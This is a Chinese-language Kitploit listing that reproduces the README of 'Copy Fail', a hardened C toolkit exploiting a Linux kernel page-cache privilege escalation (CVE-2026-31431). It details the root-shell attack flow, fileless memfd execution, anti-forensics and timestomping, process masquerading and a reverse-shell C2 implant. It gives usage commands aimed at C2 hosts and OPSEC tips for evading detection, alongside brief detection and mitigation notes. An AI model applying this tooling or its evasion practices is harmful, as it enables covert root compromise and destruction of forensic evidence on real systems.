Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
COPY-FAIL — Copy Fail - CVE-2026-31431 - 为红队和授权渗透测试操作而强化的C语言实现。 ⚠️ 法律声明:本工具仅用于授权的安全研究、授权的渗透测试和防御分析。请在您拥有或已获得明确书面许可的系统上使用。未经授权访问计算机系统是违法的。 | Kitploit
工具/GitLabGitLab/toxy4ny/copy-fail
权限提升漏洞利用后渗透利用命令与控制红队Payload 开发二进制利用
GitLabtoxy4ny/copy-fail

COPY-FAIL

Copy Fail - CVE-2026-31431 - 为红队和授权渗透测试操作而强化的C语言实现。 ⚠️ 法律声明:本工具仅用于授权的安全研究、授权的渗透测试和防御分析。请在您拥有或已获得明确书面许可的系统上使用。未经授权访问计算机系统是违法的。

查看仓库
11个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

Copy Fail -- CVE-2026-31431

为红队和授权渗透测试操作而强化的C语言实现。

⚠️ 法律声明: 本工具仅用于授权的安全研究、授权的渗透测试和防御性分析。仅可在您拥有或获得明确书面授权测试的系统上使用。未经授权访问计算机系统是违法的。

🚀 主要开发已迁移至GitLab。
此仓库在此处积极维护。如有问题或贡献,请使用GitLab。


目录

  • 概述
  • 原始研究
  • 我们的改进
  • 架构
  • 构建
  • 使用
  • 模块
  • 操作安全
  • 检测与缓解
  • 致谢
  • 许可证

概述

本项目是CVE-2026-31431("Copy Fail")本地权限提升漏洞的一个强化、生产就绪的C语言移植版本,最初由Theori和Xint于2026年4月29日披露。

原始概念验证代码使用Python编写,旨在用于研究演示。本实现将其转化为一个红队级工具包,具备:

  • 零磁盘痕迹(基于memfd的无文件执行)
  • 自动目标发现(支持MAC感知的setuid二进制枚举)
  • 反取证(缓存清理、时间戳恢复、自毁)
  • 操作员控制(信号触发执行,可配置超时)
  • 跨平台静态构建(x86_64、ARM64、RISC-V,使用musl/zig)

原始研究

CVE-2026-31431:Copy Fail

漏洞机制

该漏洞位于Linux内核的AF_ALG加密子系统中。authencesn AEAD模板实现了一种原地优化用于解密:当密文通过splice()从文件的页缓存提供时,内核重复使用同一页面作为源和目标。

攻击流程:

  1. 以只读方式打开一个setuid二进制文件(例如/usr/bin/su)
  2. 通过AF_ALG设置一个authencesn(hmac(sha256),cbc(aes)) AEAD操作
  3. 通过splice()从目标文件的页缓存中提供密文
  4. (失败的)解密操作在身份验证拒绝之前覆盖了页缓存页面的4个字节
  5. 对载荷的每个4字节窗口重复此过程
  6. 执行execve()目标文件——内核从缓存加载被修改的页面,授予setuid-root凭证
  7. 载荷转向完整的root shell

关键洞察: 磁盘上的inode从未被修改。只有内存中的页缓存被篡改,这使得基于取证的传统文件覆写漏洞的检测难度显著增加。


我们的改进

本项目在原有研究基础上扩展了面向红队的强化,涵盖九个模块。

1. 强化漏洞原语(patch_chunk.c)

2. 自动目标发现(target_discovery.c)

  • 三阶段扫描:优先级目标 → 标准目录 → 深度扫描
  • MAC感知评分:对具有AppArmor/SELinux配置文件的二进制文件扣分
  • 18个优先级目标:su、sudo、passwd、pkexec、mount、ping等
  • 回退链:若主目标失败,自动选择下一个最佳候选
  • Snap感知:跳过/snap(非传统setuid)

3. 反取证套件(anti_forensics.c)

4. 无文件执行(memfd_exec.c)

  • memfd_create + fexecve:无需文件系统路径即可执行
  • 伪装:memfd名称设为kworker、anon_inode、eventfd(混入/proc/$pid/fd/)
  • 创建孤儿进程:双重fork创建孤立进程(PPID=1)
  • 内存中解密:XOR和RC4解密后执行(载荷在磁盘上永不明文)

5. 第一阶段载荷投递(stage1.c)

6. 第二阶段C2植入(stage2_template.c)

  • 弹性重连循环,带有指数退避
  • 三种分布:均匀、三角、指数抖动
  • 信号控制:SIGUSR1(触发)、SIGUSR2(状态)、SIGTERM(关闭)
  • DNS信标:TCP连接前的隐蔽C2健康检查
  • 进程伪装:ps/top中显示为[kworker/N:0]

7. 进程隐藏(proc_hide.c)

  • argv[0]覆盖:原地替换/proc/$pid/cmdline
  • prctl(PR_SET_NAME):内核线程风格名称(16字节限制)
  • 环境变量清理:选择性擦除SSH_*、AWS_*、TOKEN*等
  • 父进程脱离:setsid() + setpgid(),实现终端独立

8. 信号触发控制(signal_trigger.c)

模式行为使用场景
trigger_oneshot()睡眠 → 触发 → 执行 → 退出快速打击
trigger_daemon()

零CPU等待:使用sigsuspend()而不是轮询循环。

9. 睡眠抖动(sleep_jitter.c)

  • 三种RNG后端:getrandom(2)、/dev/urandom、rdtsc回退
  • 拒绝采样:消除均匀分布中的模偏差
  • 漂移补偿:sleep_scheduled()在抖动情况下维持平均间隔
  • 沙箱检测:check_sandbox_acceleration()检测被修补的sleep()

架构

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│                     exploit.c (编排器)                      │
│  ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐          │
│  │ 隐藏    │ │ 发现    │ │ 漏洞    │ │ 清理    │          │
│  │ 进程    │ │ 目标    │ │         │ │         │          │
│  └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘          │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              核心模块层                               │  │
│  │  patch_chunk.c  target_discovery.c  anti_forensics.c  │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              投递与规避层                             │  │
│  │  stage1.c  memfd_exec.c  proc_hide.c                │  │
│  │  signal_trigger.c  sleep_jitter.c                   │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              载荷层(第二阶段)                      │  │
│  │  stage2_template.c  (反弹shell / C2植入)            │  │
│  └─────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

构建

依赖项

  • GCC或Clang
  • GNU Make
  • Linux头文件(linux-libc-dev或等效包)
  • 可选:musl-tools(用于小巧的静态构建)
  • 可选:zig(用于现代交叉编译)
  • 可选:dpkg-deb(用于Debian打包)

快速开始

root@kitploit:~
# 标准红队构建(优化、剥离、静态)
make redteam

# 渗透测试构建(符号表、适度优化)
make pentest

# 调试构建(ASAN、完整符号表)
make debug

# 漏洞检查器(非破坏性)
make checker

交叉编译

root@kitploit:~
# ARM64(AWS/Azure云目标)
make cross-arm64

# RISC-V
make cross-riscv

# ARM HF(嵌入式/IoT)
make cross-armhf

# Zig交叉编译(无需安装工具链)
make cross-zig-arm64
make cross-zig-riscv

musl静态构建(小型二进制文件)

root@kitploit:~
make musl-static
# 生成约50-100 KB的静态二进制文件,无glibc依赖

Debian包

root@kitploit:~
make deb VERSION=1.0.0
# 生成:build/deb/copy-fail-cve-2026-31431-1.0.0.deb

构建信息

root@kitploit:~
make info
# 显示:CC、CFLAGS、LDFLAGS、架构、工具链可用性

使用

标准模式(信号触发)

root@kitploit:~
# 部署植入
./exploit &
IMP_PID=$!

# 远程触发漏洞利用
kill -USR1 $IMP_PID

# 请求状态(无操作)
kill -USR2 $IMP_PID

# 优雅关闭
kill -TERM $IMP_PID

立即执行

root@kitploit:~
./exploit -t                    # 立即触发,不等待信号
./exploit -t -c c2.example.com -p 9999

自定义配置

root@kitploit:~
./exploit \
  -c c2.redteam.internal \      # C2主机名
  -p 4444 \                      # C2端口
  -d 300 \                       # 5分钟初始延迟
  -T 7200 \                      # 2小时触发超时
  -n                             # 跳过漏洞验证

非破坏性漏洞检查

root@kitploit:~
./vulnerable
# 退出码:100 = 有漏洞,0 = 已修补,其他 = 错误

模块


操作安全

红队最佳实践

  1. 在低活动时段部署以减少关联性
  2. 使用指数抖动作为重连间隔(规避信标检测)
  3. 通过SIGUSR1触发而非自动触发(操作员保持控制)
  4. 始终执行清理(full_cleanup),即使漏洞利用失败
  5. 优先使用memfd执行而非基于磁盘的载荷
  6. 双重fork实现持久化(memfd_fork_exec_detach)
  7. 在执行前监控沙箱加速

取证痕迹


检测与缓解

防御性检测

缓解措施

  1. 内核补丁:升级到Linux >= 6.14,包含提交a664bf3d603d
  2. 热补丁:应用发行版特定的向后移植
  3. SELinux/AppArmor:对setuid二进制文件强制执行配置文件
  4. eBPF监控:跟踪AF_ALG + splice()组合
  5. 页缓存验证:对关键二进制文件进行定期完整性检查

致谢

原始研究

  • Theori -- Jinoh Kang, Yonghwi Jin, Seunghyun Lee
  • Xint -- 协同披露
  • 分析文章:https://copy.fail/
  • 原始PoC:theori-io/copy-fail-CVE-2026-31431

基础C移植

  • Tony Gies -- tgies/copy-fail-c
  • 提供了使用nolibc的基础C实现
  • 跨平台系统调用封装和构建基础设施

本强化分支

  • 面向红队的强化,覆盖9个模块
  • 操作安全特性(反取证、规避、隐蔽)
  • 交叉编译支持(musl、zig、多架构)
  • 基于信号的操作员控制和可配置执行模式

致谢

  • Linux内核开发者提供了memfd_create(2)和fexecve(3)
  • nolibc维护者提供了仅头文件的libc替代方案
  • musl libc项目提供了小巧的静态二进制文件
  • Zig项目提供了现代交叉编译工具链

许可证

本项目采用双重许可:

  • LGPL-2.1-or-later
  • MIT

请参阅单个源文件中的SPDX标识符。

原始研究和基础C移植仍遵循其各自的许可证。本分支的附加代码在上述双重许可下提供,以与开源和商业安全研究用例最大兼容。


免责声明

本软件仅用于授权的安全研究和授权的渗透测试。作者不对因误用或滥用本软件导致的任何责任或损害负责。在测试您不拥有的任何系统之前,请务必获得适当的授权。

如果您在自己的系统上发现此漏洞:

  • 应用内核补丁(提交a664bf3d603d或发行版向后移植)
  • 监控上述入侵指标(IoC)
  • 检查/var/log/audit/和EDR遥测中是否存在AF_ALG异常
下载工具
属性值
披露日期2026年4月29日
研究人员Theori(Jinoh Kang, Yonghwi Jin, Seunghyun Lee)、Xint
分析文章https://copy.fail/
原始PoCtheori-io/copy-fail-CVE-2026-31431 (Python)
C语言移植(基础版)tgies/copy-fail-c 作者:Tony Gies
受影响内核Linux 4.14 -- 6.14(修复提交a664bf3d603d之前)
严重程度CVSS 7.8(高)—— 本地权限提升
特性原始版本我们的实现
套接字管理每块新建套接字套接字复用(减少约60%系统调用)
验证无mmap + memcmp,自动重试(3次)
并行写入仅顺序执行基于fork的并行(最多16个进程)
错误码二进制成功/失败细化:0=已验证,1=已修补内核,-1=致命错误
堆分配热路径中使用malloc仅栈操作(无分配抖动)
技术目的
posix_fadvise(POSIX_FADV_DONTNEED)逐文件页缓存驱逐
echo 3 > /proc/sys/vm/drop_caches全局缓存清理(提权后)
utimensat() 时间戳伪造恢复原始atime/mtime
自毁在执行前用零覆盖投放器二进制文件
内存擦除使用volatile清零敏感缓冲区
通道隐蔽性速度回退优先级
内嵌最高即时最后(断网)
HTTP直连中等<1秒最先
系统curl/wget低1-3秒第二(支持HTTPS)
DNS TXT高慢第三(防火墙绕过)
睡眠 → 触发 → 执行 → 循环
持续植入
trigger_auto()睡眠 + 超时回退无人值守操作
模块文件用途
漏洞原语patch_chunk.c/hAF_ALG/splice页缓存篡改
目标发现target_discovery.c/h自动扫描并评分setuid二进制文件
反取证anti_forensics.c/h清理、时间戳伪造、自毁
第一阶段投递stage1.c/h无文件载荷获取与执行
第二阶段C2stage2_template.c/h带重连循环的反弹shell
memfd执行memfd_exec.c/h匿名文件执行原语
进程隐藏proc_hide.c/hargv/cmdline/comm伪装
信号控制signal_trigger.c/h操作员触发执行
睡眠抖动sleep_jitter.c/h带分布的随机延迟
编排器exploit.c主入口与协调
检查器vulnerable.c非破坏性漏洞探测
痕迹位置缓解措施
被篡改的页缓存仅RAMdrop_page_cache_for_file()
二进制路径/proc/$pid/exememfd(显示为(deleted))
命令行/proc/$pid/cmdlineoverwrite_argv()
进程名/proc/$pid/commprctl(PR_SET_NAME)
时间戳stat() 目标文件timestomp_file()
投放器二进制磁盘上self_destruct_and_exec()
网络连接netstat、EDRDNS信标、抖动
指标检测方法
AF_ALG套接字 + splice()模式eBPF系统调用跟踪
包含可疑名称的memfd_create/proc/$pid/fd/监控
用户空间中方括号包围的进程名进程异常检测
对单一域名的定期DNS查询DNS分析
页缓存完整性不匹配内核内存取证